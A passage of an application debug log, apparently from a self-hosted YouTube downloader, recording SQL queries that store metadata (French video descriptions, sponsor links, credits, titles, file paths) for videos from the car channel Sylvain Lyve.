"uploaded_at" = ? RETURNING "id" ["Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "bdaec7bc-c65e-460c-aff1-d2bcafec98cc", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", 4, "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, false, false, 2, [], 98, ~U[2026-03-26 17:15:05Z], ~U[2026-04-20 05:40:50Z], ~U[2026-04-20 05:40:50Z], "Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, 2, ~U[2026-03-26 17:15:05Z]] 07:40:51.771 [debug] QUERY OK source="sources" db=1.6ms idle=1238.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.774 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1238.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-19 17:15:03Z], 2] 07:40:51.867 [debug] QUERY OK source="media_items" db=91.1ms queue=0.1ms idle=1239.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "a9c96e42-6dbe-40a0-9f93-66617ea33f41", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", 5, "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, false, false, 2, [], 98, ~U[2026-03-19 17:15:03Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, 2, ~U[2026-03-19 17:15:03Z]] 07:40:51.869 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=351.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.871 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=100.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-12 17:15:03Z], 2] 07:40:51.874 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=99.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "4cef8c50-5057-4f13-8d1a-1477e5073d52", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", 6, "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, false, false, 2, [], 98, ~U[2026-03-12 17:15:03Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, 2, ~U[2026-03-12 17:15:03Z]] 07:40:51.876 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=100.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.879 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=10.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-05 17:15:01Z], 2] 07:40:51.937 [debug] QUERY OK source="media_items" db=56.3ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "a36b052e-c880-47fb-81dc-55427a78ed2a", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", 7, "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, false, false, 2, [], 98, ~U[2026-03-05 17:15:01Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, 2, ~U[2026-03-05 17:15:01Z]] 07:40:51.939 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=66.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.941 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=64.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-26 17:15:00Z], 2] 07:40:51.947 [debug] QUERY OK source="media_items" db=4.2ms idle=65.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "c247e09d-b2a4-4c2e-b003-bd5c814a931f", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", 8, "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, false, false, 2, [], 98, ~U[2026-02-26 17:15:00Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, 2, ~U[2026-02-26 17:15:00Z]] 07:40:51.948 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=68.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.950 [debug] QUERY OK source="media_items" db=1.4ms idle=12.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-19 17:15:07Z], 2] 07:40:51.953 [debug] QUERY OK source="media_items" db=2.3ms idle=11.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "6286ab1b-aa5f-417d-ac3b-60986da46f52", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", 9, "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, false, false, 2, [], 98, ~U[2026-02-19 17:15:07Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, 2, ~U[2026-02-19 17:15:07Z]] 07:40:51.954 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.956 [debug] QUERY OK source="media_items" db=1.3ms idle=8.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-12 17:15:07Z], 2] 07:40:51.959 [debug] QUERY OK source="media_items" db=2.3ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle 